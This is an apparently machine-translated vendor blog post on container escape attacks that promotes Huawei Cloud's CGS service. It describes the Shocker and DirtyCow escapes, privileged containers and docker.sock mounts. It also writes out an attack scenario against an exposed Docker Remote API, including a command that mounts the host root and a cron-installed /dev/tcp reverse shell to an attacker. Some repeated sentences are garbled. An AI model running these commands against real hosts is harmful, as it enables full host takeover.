Abstract: In the era of cloud native 2.0, any enterprise can become a “new cloud native enterprise”. As one of the representative technologies of cloud native container, every enterprise should have an understanding of container security.
With the maturity of cloud native technology and the upgrading of market demand, the development of cloud computing has entered a new stage, and the era of cloud native 2.0 has arrived. From the technical point of view, cloud native technologies represented by containers, microservices and dynamic choreography are booming and have become an important driving force of enabling business innovation, and have been applied to the core business of enterprises. From the perspective of the market, cloud native technology has been widely verified in finance, manufacturing, Internet and other industries, supporting more and more rich business scenarios, and the industry ecology is increasingly prosperous. Cloud native 2.0 is a new stage of enterprise intelligence upgrading. The enterprise Cloud is moving from “ON Cloud” to “IN Cloud”. The organic coordination between new capabilities and existing capabilities is not broken, realizing resource efficiency, agile application, business intelligence, security and credibility, and becoming a “new Cloud native enterprise”.
In the era of cloud native 2.0, any enterprise can become a “new cloud native enterprise”. As a container representing one of the technologies of cloud native, every enterprise should have some understanding of container security.
Traditional VMS can use hardware computing resources more efficiently based on virtualization technology, which can isolate cloud tenants and share resources. Compared with VMS, containers are lighter and faster. However, as a new technology, container security is different from that of VMS.
Container VS VM
Containers have similar resource isolation and allocation values to virtual machines, but they serve a different purpose because they are virtualized operating systems rather than hardware. Containers are more portable and efficient.
Container VS VIRTUAL machine
A virtual machine (VM) is an abstraction of physical hardware that transforms one server into multiple servers. Hypervisors allow you to run multiple virtual machines on a single machine. Each virtual machine contains a full copy of the operating system, applications, necessary binaries, and libraries, occupying tens of gigabytes of space. VMS also start slowly.
A container is an abstraction of the application layer, packaging code and dependencies together. Multiple containers can run on the same machine, sharing the operating system kernel with other containers, and each container runs as an isolated process in user space. Containers take up less space than virtual machines (container images are typically only tens of MB in size) and can handle more applications.
2. Container escape
Container escape has been a concern since the container technology was enabled, and is even considered as the primary safety problem of containers. “Escape” refers to an attempt by a rogue container/virtual machine to break through the constraints of an isolated environment and access a host system or a co-resident container or virtual machine on the same system. Thus causing sensitive information leakage, or system and service DOS behavior.
However, because the container shares the kernel with the host system, the container has a larger contact surface with the host machine, and the isolation level is less, so it is easier to carry out escape attacks from the container. Therefore, how to solve the security risk of container escape and avoid the loss caused by container escape attack is the most important problem in container security.
3. Common means of container escape
1) Escape through container vulnerabilities and kernel vulnerabilities
One of the main ways of attack is to exploit vulnerabilities to perform illegal operations through flaws in programming design or implementation, and container escape is no exception. The container’s own vulnerability is one of the escape paths, and since the container shares the host system kernel, the kernel vulnerability is another path for its escape. At the same time, as the number of kernel vulnerability is much larger than the container’s own vulnerability, the kernel vulnerability even becomes a more important means of container escape.
1.1 Container Escape – Shocker **** attack
The Shocker attack is the most famous case of container escape, essentially taking advantage of an uncommon system call, open_BY_HANDle_AT, without limiting CAP_DAC_READ_SEARCH with the help of pre-1.0 Docker. When the container is started, host host files (such as /. Dockerinit of the old version and /etc/hosts of the new version) are mounted to the container as the starting point, and a brute force cracking attack is performed. Finally, handle information of the host system file to be accessed is obtained and read, so as to escape.
Github address: github.com/gabrtv/shoc…
The container executes the Shocker attack escape to access the host system /etc/shadow file:
1.2 Kernel exploit escape – dirtycow**** attack
DirtyCow (CVE-2016-5195) is a permission promotion vulnerability in the Linux kernel, which can also be exploited by containers to implement escape. A VDSO (Virtual Dynamically Shared Objec) library is created by a container using the DirtyCow vulnerability, and shellcode is inserted into it. It uses the process identity to execute the embedded shellcode, and finally gets a shell in the container with root privileges from the host.
2) Unsafe configuration causes escape
2.1 Unsafe startup, e.g. privileged container privileged****
When the container is started with the — Privileged parameter, it is called the privileged container. As its name implies, the privileged container has higher privileges, including the access to the devices on the host. Thus, an attacker can easily escape by mounting the host device directly inside the container and performing file access.
2.2 Unsafe mount, such as mounting docker.sock**** to container
_ Image source: _medium.com/better-prog…
Sock file is a Unix domain socket file that Docker Daemons listen to by default. Docker clients use it to communicate with Docker Daemons. Docker client sends requests for information query and command delivery to the Docker Daemon through Docker. sock. Then Deamon performs specific requests, including image query and container creation.
Sock can continue to run a container in the container to achieve docker in Docker, and can mount the root directory of the host machine to the container through the -v parameter when the container is started, so as to access the host machine file in the container to achieve escape.
2.3 Docker Remote API **** Unauthorized access
By default, docker daemons only allow local communication through Unix domain socket-docker. sock, but otherwise, Docker Daemons also provide Restful apis for remote clients to access (the daemon uses -h to specify the listening port). If access permission is not controlled and compliance is not checked, attackers can access this API to perform high-risk operations and escape attacks.
For example, an attack scenario:
- Create a container using the Remote API and mount the host system root directory into the container:
# docker -H tcp://
PORT run -it -v /:/mnt ubuntu /bin/bash
In the command, IP indicates the DOCkerDaemon service IP address, IP indicates the Docker daemon service IP address, IP indicates the DockerDaemon service IP address, and PORT indicates the Remote API listening PORT
- Write the rebound shell command to the scheduled task file
# echo ‘* * * * * /bin/bash -i >& /dev/tcp/
PORT 0>&1′ >> /mnt/var/spool/cron/crontabs/root
In the command, IP indicates the IP address of the attacker, IP indicates the IP address of the attacker, and PROT indicates the listening port of the attacker
- The attacking end listens to the $PORT in the previous step, obtains the rebound shell with root permission from the peer end (the system where docker service resides), and accesses it at will.
4. Escape security Protection scheme of Huawei Cloud Container security Service CGS
Huawei cloud container security service (CGS
Huawei cloud container security service (CGS) builds a container security threat in-depth defense system, provides a set of container security capabilities including image scanning, threat detection, and threat prevention, and provides container Build, Ship, and Run life-cycle protection capabilities, penetrating into the entire container DevOps process. Ensure the security of container virtual environment from development to production. Among them, container escape detection is one of the core functions of CGS. It builds systematic comprehensive protection capability of container escape through the following means:
1) Monitor container unsafe configuration startup
As mentioned earlier, unsafe configurations are an important cause of container escape. Therefore, monitoring the unsafe start of containers is also an important means of container escape protection. CGS can monitor various insecure configurations of container startup, including privileged container startup, host file mounting, security policy closing, privileged port mapping, etc., and detect escape risks from the beginning of container creation to realize the first step of the overall protection scheme.
2) In-depth analysis of container behavior
After the container is started, CGS can track and observe the behaviors in the container operation process in real time, monitor the process operation, file access, network connection, system call and other behaviors in the container, and conduct in-depth analysis of the behaviors, from the characteristics reflected in the behavior process to the results generated by the behavior to conduct comprehensive analysis and detection. Effectively detect known and unknown vulnerabilities of containers and use escape attacks and alarm.
3) Container baseline machine learning
In general, the behavior of the container is usually fixed and pure, such as a web service container may only run nginx process, a DB services of container may only run a mysql process, and the process is performed by operation, such as file access, system calls, network connection behavior has fixed the reasonable scope, Therefore, the normal behavior of the container can be delineated and the behavior baseline can be constructed. CGS using machine learning technology, from two dimensions of static and dynamic analysis of container normal behavior and to establish a baseline, the baseline model is more accurate, more complete, and then according to the baseline tracking container behavior, perception beyond the baseline abnormal behavior, realize the comprehensive perception of aggressive behavior, and effectively promoted for container using zero day vulnerabilities to escape attack detection ability.
The protection mechanism of Huawei CLOUD CGS container escape scheme is embedded in the protection platform, which enables systematic detection of container escape without user participation, with good ease-of-use. Meanwhile, the scheme adopts an event-driven mechanism to achieve high performance and fast response, which escorts container security.
Click to follow, the first time to learn about Huawei cloud fresh technology ~